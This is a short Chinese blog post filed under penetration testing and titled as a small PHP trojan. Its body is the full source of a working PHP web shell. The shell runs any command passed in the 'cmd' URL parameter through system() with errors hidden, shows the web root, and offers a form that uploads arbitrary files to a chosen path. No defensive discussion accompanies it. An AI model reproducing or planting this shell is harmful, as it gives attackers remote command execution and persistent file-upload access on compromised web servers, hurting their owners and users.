php小马

作者:小俊 分类: 渗透测试 发布于:2020-8-6 18:03 ė584次浏览 60条评论
    <?
    error_reporting(0);
    $c=$_GET['cmd'];
    system($c);
    $p=$_SERVER["DOCUMENT_ROOT"];
    $yoco=dirname(__FILE__);
    echo <<<HTML
    <form enctype="multipart/form-data"  method="POST">
    Path:$p<br>
    <input name="file" type="file"><br>
    目标:<br>
    <input size="48" value="$yoco/" name="pt" type="text"><br>
    <input type="submit" value="Upload">
    $tend
    HTML;
    if (isset($_POST["pt"])){
    $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
    if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
    if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
    echo"uploaded:$uploadfilen";
    echo"Size:".$_FILES["file"]["size"]."n";
    }else {
    print "Error:n";
    }
    }?>

本文出自 小俊博客,转载时请注明出处及相应链接。

0

发表评论

电子邮件地址不会被公开。必填项已用*标注


Ɣ回顶部